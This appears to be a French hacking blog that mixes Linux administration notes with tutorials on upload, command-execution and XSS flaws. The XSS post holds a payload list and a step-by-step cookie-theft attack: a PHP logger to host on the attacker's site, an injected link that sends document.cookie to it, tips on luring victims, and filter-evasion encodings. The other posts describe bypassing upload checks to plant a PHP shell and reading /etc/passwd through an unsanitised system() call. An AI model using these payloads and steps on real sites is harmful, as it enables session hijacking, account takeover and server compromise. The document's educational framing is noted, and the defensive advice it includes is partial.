Don't Learn to Hack but Hack to Learn ***** Apprendre l'attaque pour mieux se défendre

jeudi 23 août 2012

Linux-3

Administration système: 


1- Administration des utilisateurs


Identification et authentification: 
- L’identification, c’est savoir qui est qui, afin de déterminer les droits de la personne qui se connecte. Un utilisateur est identifié par un login.
- L’authentification, c’est apporter la preuve de qui on est, par exemple via un secret partagé entre l’utilisateur et le système, et connus d’eux seuls. L’utilisateur est authentifié par un mot de passe.

Un utilisateur est l’association d’un nom de connexion, le login, à un UID et au moins un GID.
• UID : User ID.
• GID : Group ID.


Chaque utilisateur fait partie d’au moins un groupe. Un groupe regroupe des utilisateurs.


Les fichiers
/etc/passwd
Le fichier /etc/passwd contient la liste des utilisateurs du système local. Il est lisible par tout le monde. Les informations qu’il contient sont publiques et utiles tant pour le système que pour les utilisateurs. Chaque ligne représente un utilisateur et est composée de sept champs.
Login:password:UID:GID:comment:homedir:shell


/etc/group
Le fichier /etc/group contient la définition des groupes d’utilisateurs et pour chacun la liste des utilisateurs dont il
est le groupe secondaire. Chaque ligne est composée de quatre champs :
Group:password:GID:user1,user2,...



/etc/shadow
Le fichier /etc/shadow accompagne le fichier /etc/passwd. C’est là qu’est stocké, entre autres, le mot de passe
crypté des utilisateurs. Pour être plus précis il contient toutes les informations sur le mot de passe et sa validité
dans le temps. Chaque ligne est composée de 9 champs séparés par des : :


Ajouter un utilisateur

La création d’un utilisateur consiste à :
• rajouter une ligne dans /etc/passwd,
• rajouter d’une ligne dans /etc/shadow,
• rajouter d’éventuelles informations dans /etc/group,
• créer le répertoire personnel et mettre à jour son contenu avec /etc/skel,
• changer les permissions et le propriétaire du répertoire personnel,
• changer le mot de passe (encodé).
Tout ceci peut être effectué avec la commande useradd

ueradd ali ou adduser ali


Creer ou changer le mot de passe s'il existe
passwd ali



Suppression d'un utilisateur
Supprimez un utilisateur avec la commande userdel. Par défaut le répertoire personnel n’est pas supprimé. Vous devez pour ceci passer l’option -r.

userdel -r koko


ajout d'un groupe
grep koko /etc/group


Suppression d'un groupe
groupdel koko




2- Partitionnemen


3- LVM


Le LVM(Logical Volume Manager) consiste à regrouper des disques physiques ou partitions (appelés volumes physiques) en un seul grand espace (appelé groupe de volumes) dans lequel vous pouvez découper des espaces logiques à volonté (appelés volumes logiques), les agrandir, les réduire, etc.


sous Débian vous pouvez installer le LVM en utilisant le gestionnaire de paquet Synaptic ou installer le manuellement apt-get install lvm2


Créer un volume physique
Une fois les partitions créées, utilisez la commande pvcreate
pvcreate /dev/sda5 /sda6

Voir les volumes physiques
pvdisplay


Créer un groupe de volumes
Un groupe de volumes porte un nom, celui que vous voulez. C’est le premier argument de la commande. Vous passez ensuite comme argument la liste des volumes physiques composant le groupe de volumes par exemple:
vgcreate gv1 /dev/sda5 /dev/sda6
pour voir le ditail: vgdisplay -v gv1


activer le groupe de volume
vgscan -a y gv1

Créer un volume logique

Un volume logique porte un nom, dispose d’une taille
exprimée soit en extensions logiques LE (Logical Extension) qui sont la représentation des PE au sein d’un LV, soit en Ko, Mo, Go…

lvcreate -n lv1 gv1 -L +1024

Le -L précise que l’unité est en Mo (m)

pour les propriétés d’un volume logique: lvdisplay

Accès au volume logique
Vous pouvez créer un système de fichiers et monter le LV comme n’importe quelle partition :
mkfs -t ext3 /dev/gv1/lv1

Monter le volume logique:
mkdir /mnt/lvm
mount /dev/gv1/lv1 /mnt/lvm1

Pour ajouter ou enlever un espace pour un volume logique on utilise
lvextend et lvreduce
mais on doit d'abord le démonter
umount /mnt/lvm1
lvextend -r -f -L +500 /dev/gv1/lv1 (ajout de 500 Mo pour lv1)
puis remonter le volume.
mount /dev/gv1/lv1 /mnt/lvm1

et par la meme maniere pour reduire la taille
umount /mnt/lvm1
lvreduce -L500M /dev/gv1/lv1
mount /dev/gv1/lv1 /mnt/lvm1

Supprimer un volume logique
démonter le d'abord
lvremove /dev/gv1/lv1

Supprimer un groupe de volume:
d'abord désactiver le
vgchange -a y gv1 (gv1 le nom de groupe de volume)
vgremove gv1

ajouter un volume physique à un groupe de volume:
vgextend gv1 /dev/sda7 (ajouter la partition sda7 au volume groupe gv1)


Et bientôt inchalah :

4- Raid logique


5- Droit d'accé

Modification des droits

Lors de sa création, un fichier ou un répertoire dispose de droits par défaut . Utilisez la commande chmod (change mode) pour modifier les droits sur un fichier ou un répertoire:


chmod modifications Fic1 [Fic2...]

Le paramètre -R change les droits de manière récursive

a. Par symboles

S’il faut modifier les droits de l’utilisateur, utilisez le caractère u, pour les droits du groupe on utilise le caractère g, pour le reste du monde on utilise le caractère o et pour tous on utilise le caractère a.

Pour ajouter des droits, on utilise le caractère +, pour en retirer le caractère -, et pour définir le droit le caractère =.

Enfin, le droit d’accès  : r, w ou x.

r - read (le droit de lecture)

w - write (le droit d'écriture)

x - execute (le droit d'exécution)


exp;

chmod +x script.sh

chmod u=rwx,g=x,o=rw fichier1

chmod o-r fichier1


b.Par base 8 :


• Le r vaut 4.

• Le w vaut 2.

• Le x vaut 1.


Propriétaire

 r          w      x     r

400  200    100   40


Groupe

r    w      x   

40  20     10


Reste du monde

r    w      x   

4    2      1


Pour obtenir le droit final il suffit d’additionner les valeurs. Par exemple si vous voulez rwxrw-rw- alors obtenez

400+200+100+40+10+4+1=755


chmod 755 fichier

chmod 777 fichier


Lors de la création d’un fichier ou d’un répertoire, des droits leur sont automatiquement assignés. Généralement,

c’est rw-r--r-- (644) pour un fichier et rwxr-xr-x (755) pour un répertoire.
Il est possible de changer le propriétaire et le groupe d’un fichier à l’aide des commandes chown (change owner) et chgrp (change group).
chown utilisateur fic1 [fichier2...]

chgrp groupe fichier1 [fichier2...]


Le paramètre -R change la propriété de manière récursive.


Il est possible de changer le propriétaire et le groupe d’un fichier à l’aide des commandes chown (change owner) et chgrp (change group).



5- Planification des taches

Le service cron permet la programmation d’événements à répétition. Il fonctionne à l’aide d’une table, appelée une crontab. C’est un fichier texte, éditable avec un simple éditeur. Pour modifier votre crontab

personnelle utilisez la commande crontab pour éditer la table, avec le paramètre -e.


ps -ef|grep cron



Les fichiers crontabs sont sauvés dans /var/spool/cron.


Le format d’un enregistrement de crontab est le suivant :

Minutes  Heures  Jour du mois  Mois  Jour semaine  Commande


exp: Exécution d’une commande tous les jours ouvrables à 17 heures

0 17 * * 1-5 fin_travail.sh


Lister les crontabs actives :

 crontab -l

Supprimer la crontab active :

 crontab -r


Editer la crontab d’un utilisateur particulier :

crontab -u user 


ceontab système

La configuration crontab générale pour le système est dans /etc/crontab.


taper crontab -e et saisir par exemple:

1 * * * *  * /usr/bin/shutdown -r now




Programmation shell


Apache 2


DNS

Backup

Linux-2

Réseau:


Démarer le service réseau
/etc/init.d/networking start

Activer ou désactiver une interface réseau
ifconfig eth0 up
ifconfig eth0 down


Pour obtenir une adresse ip automatiquement DHCP (sur toutes les interfaces):
dhclient



Ou sur une seule interface particulière:
dhclient eth0


configurer votre carte réseau manuellement et avoir une @ip statique:
editer le fichier: 
vi /etc/network/interfaces et ajouter:
- l'@ip
- le maske de sous réseau
- la gatway (passerelle par défaut)
- le serveur DNS


ou simplement taper par exemple:
ifconfig eth0 192.168.1.15 netmask 255.255.255.0

route add default gw 192.168.1.1
echo nameserver 192.168.1.10 >/etc/resolve.conf

Pour afficher les propriétés d'interface réseau:
ifconfig


Pour définir l'adresse IP d'une interface:
ifconfig eth0 192.168.10.15


Pour changer l'adresse MAC d'une interface:
ifconfig eth0 ether hw 11:22:33:44:55:66:77:88


Pour afficher les paramètres de l'interface sans fil:


iwconfig


Ajouter l'adresse DNS
echo nameserver @ip > /etc/resolv.conf

configurer un serveur proxy
export http_proxy="http://login:password@serveurproxy:8080"
login = votre nom utilisateur
password = votre mot de passe 
serveurproxy = le nom du proxy ou son adresse ip



Pour afficher la table de routage:


route


Pour afficher le cache de routage:


route-C


Pour définir une route statique vers un réseau:


route add -net 192.168.5.10 netmask 255.255.255.0 dev eth0


Pour définir un itinéraire statique à un hôte:


route add -host 1.2.3.4. eth0


Pour supprimer un itinéraire:


route del -host 1.2.3.4 eth0


Pour ajouter une passerelle par défaut de 192.168.1.1:


route add default gw 192.168.1.1


Pour faire un traceroute vers une cible (hotmail par exp), utilisez:
traceroute www.google.com ou traceroute @ip


Pour la liste de tous connexion réseau (externe):
netstat -punta


Pour obtenir la liste des statistiques de réseau:


netstat -s


Pour obtenir la liste des statistiques sur une interface:


netstat -i eth0


Pour obtenir la liste des règles iptables:


iptables -L -v


Pour ajouter rapidement une règle pour interdire les requêtes ICMP:


iptables -A OUTPUT -p icmp -d 0/0 -j DROP


La commande ci-dessus ajoute (-A) une règle à la sortie (OUTPUT) lui disant que ICMP (-p ICMP) à partir de n'importe quelle destination (-d 0 / 0) devrait être supprimé (-j DROP)



Pour supprimer toutes les règles d'utilisation:


iptables -F


Pour supprimer toutes les règles actuellement activité:


iptables -X


(Je vais poster un article in challah sur les règles iptables)

pour bloquer icmp
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all


La valeur par défaut est 0 (pour l’autorisation)
echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Autoriser le Forward 
echo 1 > /proc/sys/net/ipv4/ip_forward

Linux-1




Commande de base linix:
 

Si les récentes distributions de Linux permettent de faire abstraction de la saisie d’instructions texte en offrant des environnements graphiques attrayants, il est inenvisageable pour un professionnel de Linux de ne pas connaître le fonctionnement de l’interpréteur de commandes et des principales commandes qui lui sont associées.

Le but de ce titre est de documenter quelques commandes de base Linux que je trouve utiles. Il est important de noter que la syntaxe Linux de quelque commande (peu) se diffère d'une distribution à une autre.
J'utilise Débian si ma syntaxe peut être légèrement différente de la vôtre si vous utilisez une autre distribution. 

pour obtenir le help: 
man <commande>
man ls 
ou
commande -h
ou
commande  --help


 Pour afficher l'utilisateur actuellement connecté :

whoami

Pour
Lister les fichiers d'un répertoire:

ls

-l : affichage détaillé (long)
-a : affichage aussi des fichiers cachés dont le nom commence par un point (all)
-i : affichage des numéros d'inodes (inode)
-d : affichage du nom du répertoire et non de son contenu (directory)
-t : trie l'affichage suivant la date de modification des fichiers (time)
-r : inverse le tri d'affichage (reverse)
-R : affichage du contenu de tous les sous répertoires (recursive)


Pour la liste de tous les répertoires dans un autre dossier utilisez la syntaxe suivante:

ls -l  / home / Ali /

Pour accéder à un répertoire:
cd  nom_répertoire

Ou le chemin d'accès comme par exemple:

cd   / etc / apache2

Pour
Se déplacer dans les répertoires:

cd ..

ou

cd ../..

 Pour accéder directement au répertoire racine /:

cd  /

Pour accéder directement à votre répertoire personnel:

cd  #



Creer un répertoire ou plusieurs répertoires:
mkdir <répertoire ...>
mkdir rep1, rep2, rep3


Supprime les répertoires:
rmdir <répertoire ...>
rmdir rep1, rep2


Dans quel répertoire suis-je actuellement:
pwd


Copie (CoPy) les fichiers source vers destination.
cp <source ...> <destination>
cp linuxtest /home (copie le fichier linuxtest dans le répartoire home

-i : demande confirmation avant écrasement (interactive)
-f : écrase sans demander confirmation (force)
-R ou -r : copie aussi les répertoires (recursive)
 Attention : sans l'option -R (ou -r), la commande cp ne pourra pas copier les répertoires 



copier un fichier avec la commande scp


La commande scp permet de copier un fichier ou un répertoire (-r) du client vers  le serveur ou du serveur vers le client. Le chemin du serveur peut être indiqué en absolu (/home/ali/Repertoire par exemple) ou relatif à partir du répertoire  de base Repertoire.Il est impératif que SSH soit installé sur les deux machines. 



Copie d'un fichier d'une machine1 vers une autre machine2:
scp Login1@machine1:Chemin1/NomFichier1 Login2@machine1:Chemin2


Copie d'un fichier depuis le répertoire courant vers un répertoire du serveur:
scp Fichier login@serveur:Chemin


Copie d'un répertoire, avec éventuellement ses sous-répertoires, vers un répertoire du serveur:
scp -r Repertoire login@serveur:Chemin


exp: scp /home/fct.txt root@192.168.10.5:/home/mohamed


Renomme/déplace (MoVe) les fichiers source vers destination.
mv <source ...> <destination>
mv linux1 linux2
renomme le fichier "linux1" en "linux2"

-i : demande confirmation avant écrasement (interactive)
-f : écrase sans demander confirmation (force)
Créer un ou plusieurs fichiers:
touch <fichier ...>
touch fc1, fc2



Supprime (ReMove) les fichiers passés en arguments.
rm <fichier ...>

rm -Rf nom_répertoire Pour supprimer tous les fichiers et répertoires et sous-répertoires (sans avertissement)

-i : demande confirmation avant suppression (interactive)
-f : supprime sans demander confirmation (force)
-R : supprime aussi les répertoires (recursive)

Recherche d'un fichier:
find <chemin(s)> <critère(s)> <action(s)>
find . -name "fic*" -print

la liste de tous les fichiers depuis l’emplacement courant et commençant par
« fic » est affichée.

- les principaux critères (critère(s)) sont :
  -name '<motif>'
  -size <[+|-]taille>
  -mtime <[+|-]date>
  -user <nom|UID>
  -newer <fichier référence>
- les principales actions (action(s)) sont :
  -print
  -ls
Rechercher une chaîne de caractères dans un fichier:
 grep [Options] modèle [Fichier1...]
exp: grep -i "ab" fic4



-v effectue la recherche inverse : toutes les lignes ne correspondant pas aux critères sont affichées.
-c ne retourne que le nombre de lignes trouvées sans les afficher.
-i ne différencie pas les majuscules et les minuscules.
-n indique le numéro de ligne pour chaque ligne trouvée.
-l dans le cas de fichiers multiples, indique dans quel fichier la ligne a été trouvée.

Trie de ligne:
sort [options] [-k pos1[,pos2]] [fic1...]
exp: sort -k 1 liste trier par ordre alphabétique sur la première colonne.


Options:
-d Dictionnary sort (tri dictionnaire). Ne prend comme critère de tri que les lettres les
chiffres et les espaces.
-n Tri numérique, idéal pour les colonnes de chiffres.
-b Ignore les espaces en début de champ.
-f Pas de différences entre majuscules et minuscules (conversion en minuscules puis tri ).
-r Reverse, tri en ordre décroissant.
-tc Nouveau délimiteur de champ c.
Affiche le contenu des fichiers texte passés en arguments.


Afficher des colonne et et des champs  spécifiques dans un fichier
cut -cCOLONNE [nom_fichier ...]
cut -fliste [-ddélimiteur] [-s] [nom_fichier ...]


-c: ne retient sur chaque ligne que les caractères situés à une position donnée par liste. Par exemple, l'option
-c2 pour la colonne 2
-c1-50 ne garde que les 50 premiers caractères de chaque ligne.
une colonne est la position d'un caractère dans la ligne, le premier caractère est la colonne 1 et ainsi de suite
-f : ne retient qu'une liste de champs (séparés soit par des tabulations, soit par un délimiteur spécifié par l'option -d). Par exemple, l'option -f1,3-5 conduira la commande à ne garder que les champs numéros 1, 3, 4 et 5 de chaque ligne.

exp: cut -c1 /etc/passwd (affichera la première colonne du fichier passwd)
        cut -d: -f6 /etc/passwd  (affichera le 6eme champ du fichier /etc/passwd, dont le séparateur de champs                                    est le caractére double point (``:'').

cat <fichier ...>

exp cat fc ou  cat /etc/passwd

Une option utile de cat est -n qui permet de numéroter les lignes

more <fichier ...>
Affiche page par page le contenu des fichiers texte passés en arguments.
Retourne le type de fichier passé en argument
Affiche le nombre de lignes, de mots et de caractères (Word Count) contenus dans les fichiers
wc <fichier ...>
 passés en arguments.
-l : affiche uniquement le nombre de lignes (line)
-w : affiche uniquement le nombre de mots (word)
-c : affiche uniquement le nombre de caractères (character)
Archiver ou désarchiver:
(format tar)
tar czf monarchive.tar (pour archiver)
tar xzf monarchive.tar r (pour désarchiver)


x: (extract) permet d'extraire certains fichiers d'une archive (lorsque l'on ne spécifie pas les noms des fichiers que l'on souhaite extraire de l'archive, tar les extrait tous).
z: décompacte l'archive
f: extrait un fichier donné (ici le fichier est nom_du_fichier.tar.gz).
c: pour compresser
autre option:
v: est le mode "verbose"


ou (format tar.gz)
tar czf monarchive.tar.gz
tar xzf monarchive.tar.gz

ou (format bzip2)
tar cjf  monarchive.tar.bz2 ou tar cjf  monarchive.tbz
tar xjf  monarchive.tar.bz2


Une autre commande permet de connaître la liste des fichiers contenus dans un fichier .tar.gz ou tgz :
tar tvzf nom_du_fichier.tar.gz

Compresse le fichier au format GNU Zip:
gzip <fichier>


Décompresse le fichier fichier.gz qui est au format GNU Zip:
gunzip <fichier[.gz]>



Retourne le type de fichier passé en argument:
file <fichier>


Modifie les droits d'accès (CHange MODe) aux fichiers passés en arguments suivant le mode:
chmod <mode> <fichier ...>

chmod +x script1.py
chmod 777 script2.py


Liste les processus (programmes en cours d'exécution):
ps
-ef : affiche tous les processus avec des statistiques supplémentaires  
-aux : affiche tous les processus avec des statistiques supplémentaires
Liste les processus de façon arborescente:
pstree
Liste les processus de façon arborescente.
-p : affiche aussi les PID des processus
Envoi un signal au precessus:
kill <signal> <pid>

kill -9 <pid de processus> pour suprimer un processus
killall <nom de processus>


Affiche ou modifie la date système:
date

Affiche le calendrier:
cal [[mois] année]
cal 1987 


On peut combinuer entre les commande: 
exp: cat /etc/passwd | cut -d: -f1 | tee users | wc -l


     cut -d":" -f1,3 /etc/passwd | sort -n | uniq







dimanche 5 août 2012

Faille Upload

La faille Upload :
 

1. Définition :

L’upload permet le transfert de fichiers (des images, des documents PDF et autres), depuis votre machine vers un site web qui est le serveur, mais souvent les scripts d’upload contiennent des vulnérabilités car les développeurs oublient  Souvent de vérifier et valider les types des fichiers téléchargés vers le serveur.

2. Comment l'exploiter ?


Cette faille peut être exploitée de différentes manières.

2.1.    Certains scripts d'uploads ne vérifient pas l'extension des fichiers, donc nous pouvons uploader  n’importe quel fichier. (Shell etc)

2.2.    Contournement de la vérification de l’extension de fichier

Avant de l'envoie de notre script php « fichier.php » on doit d’abord modifier son extension en extension image  « fichier.jpg » par exemple.
Lors de l'envoie de ce dernier, pendant que le serveur vérifie l'extension de notre fichier « fichier.jpg » nous pouvons modifier tout simplement le « fichier.jpg »en « fichier.php » dans l'en-tête Content-type, le script comprendra qu'il s'agit d'une image alors que c'est un script php.

2.3.    Contournement de la vérification du contenu du fichier image

Possibilité de tromper la vérification encore une foi, cette fois ci, le script ne vérifie pas les extensions, mais seulement la 1ere ligne du fichier afin de vérifier si le fichier est une image.
Généralement dans les images gif par exemple, la 1ere ligne est "GIF89a;", il vous suffit d'ajouter cette ligne à votre script php, et le serveur considérera votre script comme une image

cas pratique:
voire ce video

3. Solutions de Fille Upload :
La meilleure stratégie pour se protéger conter la faille upload est de limiter la capacité des attaquants afin d'appeler des fichiers de vue de leur emplacement de uploade. Par exemple, les fichiers doivent être uploadés à des répertoires qui existent en dehors de la voie d'application. Cela signifie que le fichier peut toujours être lu par le serveur web, mais ne peut jamais être appelé directement par un attaquant via une URL spécifique.

Donc il faut interdire un attaquant d’appeler les fichiers uploadés
cas pratique:
voire ce video

Command Execution

 Commande Execution :
 1.Introduction:

Le langage PHP possède une fonction « System() » permettant d'utiliser directement des commandes systèmes. Ainsi il est évident que cette fonction peut s'avérer dangereuse puisque si l'attaquant réussi à détourner un script utilisant cette fonction, Voyons tout d'abord un schéma classique. Le webmaster désire afficher la date sur son site web. Il pourra alors procéder ainsi :


<?php
echo System("date");
?>



Ce qui affichera :
La date du jour est: 06/05/2012

Remarque : il ya d'autre fonctions permet l'exécution de commandes comme:

System ()       exec ()shell_exec()  popen()
proc_open()  passthru()
2.Comment l'exploiter ?
Cependant imaginez que le webmaster en question désire passer ses commandes dans un variable, en pensant que cela lui facilitera la lecture de son script, ou pour n'importe quelle autre raison. Il procédera alors ainsi :


<?php
echo system($REQUEST['cmd']);
?>

 

Si nous le consultons de cette manière : http://site/system.php?cmd=date, le serveur nous affichera le même type de résultat que précédemment. Cependant il suffit que nous modifions la variable $cmd par une autre commande pour voir apparaitre d'autre chose


Par exemple :
http://site/system.php?cmd=cat /etc/passwd
Ce qui affichera :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh

Il est donc, comme nous l'avons vu, possible de corrompre le système ou encore utiliser des programmes; cependant il est beaucoup plus pratique pour une question de lecture des données, d'utiliser cette méthode dans le but d'obtenir un maximum d'information sur le serveur (version du kernel, port ouvert, distribution ...).

cas pratique:
voire ce video


2.Solutions de Commande Execution :

2.1.Solution mois sécurisé
Pour éviter cette faille il faut repérer le caractère pipe '|' et arrêter le script et ne pas oublier d'effectuer une recherche sur l'équivalent du pipe en URL-Encode (à savoir %7c).

Il savoir aussi que  cette méthode fonctionne aussi avec les caractères & (and) ou encore ; (point virgule).

Exemple pour le caractère 'pipe' :


if( (strstr($cmd, "|")) || (strstr($cmd, "%7c") )
{
echo "Erreur : caractere interdit !";
break();
  }


2.2.Solution sécurisé
La solution la plus sécurisé est de ne mettre pas une variable comme un argument pour la fonction « system() » cela voudra dire que il faut mettre la commande qu’on veut utiliser directement dans la fonction system().

cas pratique:
voire ce video

Cross Site Scripting

Cross Site Scripting (XSS) :
1. Définition :

"XSS" est une abréviation pour «Cross Site Scripting» a l’origine CSS (Cross Site Scripting) changé pour ne pas confondre avec le CSS des feuilles de style (Cascading Style Sheet), Il s'agit de l'injection non prévue de code HTML ou JavaScript sur un forum de discussion, un livre d’or ou un chat ou une zone de recherche  d'un site Web qui ne filtre pas les  entrées (input).

En d'autres termes, l'attaquant peut injecter un script malveillant dans un site Web, et le navigateur exécute ce scripte

2. Les types XSS :

2.1.Reflected XSS:


Lorsque l'injection sera à la fin de l'url ou dans une zone de recherche, la faille n'affecte que l'ordinateur local, ce qui signifie que la page du site web n'est modifiée que pour un utilisateur précis. La chaîne entrée par l'internaute se retrouve affichée dans l'adresse URL du site web.

exemple:

search.php

<?php

echo $_GET['search'];

?>

xss.html

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" media="screen" type="text/css" title="Design" href="style.css" /> 
<title>XSS</title>
</head>
<body>
<h1 align="center" class="titre">FAILLE XSS</h1>
<form method="get" action="search.php">
   <textarea name="search" style="width: 436px; height: 102px"></textarea>
<p>&nbsp;</p>
   <input type="submit" class="button" value="Submit" />
   </Form>
   </body>

Comme vous pouvez voir que la variable $_GET['search'] n'est pas sécurisé donc quand l'utilisateur injecte un code malveillant JS, Il va exécuter.

2.2.Stored XSS :

Lorsque L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke et l'envoie tel quel au client lors de la génération et la visualisation de la page

Ce type XSS est le plus dangereux. Les informations entrées par l'utilisateur sont définitivement stockées dans une base de données. C'est par exemple le cas lors d'une inscription ou lors de l'envoi d'un message dans un forum, l'internaute rentre des balises HTML ou des scripts JavaScript, alors l'information sera stockée dans la base de données et restituée à tous les futurs internautes affichant le message posté sur le forum.

exemple
<?php
if(isset($_POST['s']))
{
$message=trim($_POST['textMessage']);
$name=trim($_POST['textName']);

$query = "INSERT INTO table (comment,name) VALUES (
'$message','$name');";
$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');
}
?>

les deux paramètres dans le code "message" et "name" ne sont pas désinfectés correctement, le, nous stockons ces paramètres dans la table le livre d'or, alors quand nous l'affichage de ces paramètres de retour du navigateur du client, il va exécuter le code malveillant JavaScript.

2.3 DOM XSS
Le problème est dans le script d'une page côté client. Par exemple, si un fragment  de JavaScript accède à un paramètre d'une requête d'URL, et utilise cette information  pour écrire du HTML dans sa propre page, et que cette information n'est pas encodée sous forme d'entités HTML, alors il y a probablement une vulnérabilité de type XSS.
 Les données écrites seront réinterprétées par le navigateur comme du code HTML contenant éventuellement un script malicieux ajouté.

exemple:

document.referrer

La propriété document.referrer est fixé par le navigateur et la page qui représente liée à la page en cours. Considérons le code HTML suivant:

<html>
    <head>
    <title>victim page</title>
    </head>
    <body>
    <p>
    Vous avez été envoyé ici par:<script>document.write(document.referrer);</script>
    </p>
    </body>
    </html>

Si la chaîne document.referrer contient du code JavaScript, ce code sera
 exécuté dans le contexte actuel. Pour exploiter ce type de vulnérabilité, un
attaquant doit avoir une page intermédiaire à partir duquel il relie à la page
vulnérables. L'attaquant envoie le lien de la page à la victime;

http://www.attacker.com/domxsspage.html?<script>lecode malveillant</script>

3.Détecter la faille :


Pour vérifier la présence d'une faille XSS, il suffit de faire passer un script dans une zone de recherche ou un formulaire, par exemple :
<script>alert("XSS Hacking");</script> qui provoquera l'affichage d'une boîte de dialogue,si cela ne fonctionne pas, il n'y a aucune raison de s'inquiéter,Cela signifie que le site web Utilise des techniques de filtrage pour éviter failles XSS, mais il ya des méthodes de détournement des filtre XSS qu'on va voir après.
4. Risques liés à XSS :

L'exploitation d'une faille de type XSS permettrait à un intrus de réaliser les opérations suivantes :
-Redirection de l'utilisateur.
-Vol d'informations, par exemple cookies.
-modification sur le site.
   

5. Comment exploiter la faille XSS :

Après la détection que le site qu'on veut attaquer est vulnérable, en exploitant la faille par injection d'un code complet JavaScript. Par exemple, laissez-nous d'entrée <script>alert ('HACKING') </ script> dans une zone de recherche par exemple, une boîte de dialogue s'affiche avec le mot HACKING. Donc, nous avons réussi à exploiter la faille XSS. En étendant le code avec un script malveillant, un pirate peut faire voler les cookies ou de défigurer le site et  encore plus.
6. Scriptes d'exploitation :

Premièrement voila quelques scriptes pour tester l'exploitation de la faille XSS :


<script>alert(12345)</script>
<ScRiPt>prompt(995041)</ScRiPt>
<script>alert(" test" ) ;</script>
« ><script>alert(1)</script>
<script>alert(document.cookie)</script>
<script SRC=http ://localhost/xss/cookies.php ?’+document.cookie></script>
<script>document.location=’http ://localhost/xss/cookies.php ?’+document.cookie</script>

<body onload="document.body.innerHTML='<h1>test !!</h1>';">
<script>document.documentElement.innerHTML="<h1>test !!</h1>";</script>


<META http-equiv="refresh" content="0;URL=http://www.evilesite.com">

<IFRAME WIDTH=100% HEIGHT=300 SRC="http://www.evilesite.com"></IFRAME>


%2BADw-script%2BAD4-alert(document.cookie)%2BADw-%2Fscript%2BAD4-


7.Exemple d’exploitation


71-vole de cookies
C’est quoi Un cookie ?
Un cookie en informatique c’est un petit bloc de données forgé par un site web et récupéré à la prochaine connexion. Un petit exemple : vous allez pour la première fois sur un site web, vous vous loguez et cochez une case «connexion automatique», un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez logué automatiquement car le site web aura vu votre cookie ! Avec la faille XSS, nous pourrons voler le cookie de l’admin et le modifier, afin que le site web nous reconnaisse en tant qu’admin (Récupération des identifiants de session de l'admin Dans le cookie).

Etape 1: Création un fichier php qui va voler le Cookie


Maintenant créer un nouveau fichier et l'enregistrer comme log.txt (laisser en tant que vide). Ne changez pas le nom, c'est le nom du fichier
qu'on va l'utiliser dans le fichier php.

Maintenant, vous aurez deux fichiers;
1. voler.php
2. log.txt

Le fichier ci-dessus voler.php obtenir  le  cookie et stocke ces données dans le fichier log.txt.

<?php
$collectedCookie=$HTTP_GET_VARS["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('log.txt','a');
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
echo '<b>Désolé, cette page est en construction</b></br></br>SVP Cliquer<a
href="http://www.google.com/">ici</a> pour revenir à la page précédente ';
?>


Étape 2:
Inscrivez-vous en une zone d'hébergement Web gratuit et uploader les fichiers voler.php et log.txt dans le dossier racine.
donc notre fichier sera par exp à http://www.YourSite.com/voler.php.

Étape 3: exploitation de la vulnérabilité XSS
Jusqu'à présent, nous avons affiné notre scie. Maintenant, nous allons l'utiliser.
Une fois que vous mis en place tout, trouvé un site vulnérable, puis injecter le code suivant dans ce site.

Voici le code JavaScript que nous allons injecter dans le navigateur de la victime.


<a onclick="document.location='http://Yoursite.com/voler.php?
cookie='+escape(document.cookie);" href="#">Click here for Details</a>

ce script besoin d'interaction utilisateur, car il imprime un lien vers l'utilisateur, si l'utilisateur clique sur ce lien, la redirection vers votre site avec les informations du cookie sera effectué.

Donc l'attaquant doit envoyer le lien aux victimes par un email par exemple. Chaque fois qu'ils suivre le lien, sont cookie sera volé.  je vous laisse avec votre inélégance de piéger la victime afin de cliquer sur ce lien.
Remarque :
Vous pouvez encoder le script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

On aura donc www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

cas pratique:
voire ce video

8.Solutions de (XSS)

8.1. Techniques de contournement de filtrage XSS :

Les filtres etles contrôles XSS c'est un problème pour ceux qui veulent exploiter la faille XSS, cependant y a des astuces pour détourner quelques filtres utilisé par les développeurs

8.1.1. La directive magic_quotes_gpc = On

Dans le fichier de configuration php.ini il ya une directive magic_quotes_gpc si elle est à On elle va ignorer <'>, <"> et <\> qui se retrouve dans les scriptes XSS, car ces scriptes contient ces caractères,et pour contourner ce filtre on utilse la fonction String.FormCharCode() mais  avantde l’utiliser il faut coder d'abord la partie de script xss qui contient les caractères non autorisés en ASCii . Si on veut utiliser le scripte <script>alert("XSS Hacking");</script> on doit coder XSS Hacking en ascii. Supposant qu'on trouve 112,132,134,111,122 , on utilise String.formCharCode() dans le script comme suit:

<script>alert(String.formCharCode(112,132,134,111,122));</script> pour éviter d'utiliser les guillemets "

8.1.2. Le codage par hexadécimal:
Nous pouvons encoder notre script en entier dans le code HEX de sorte qu'il ne peut pas être filtré.
Par exemple: alerte <script> ("hack"); </ script> peut être convertir en hexadécimal comme suit:
%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

Après,on injecte le code dans le site comme suit :
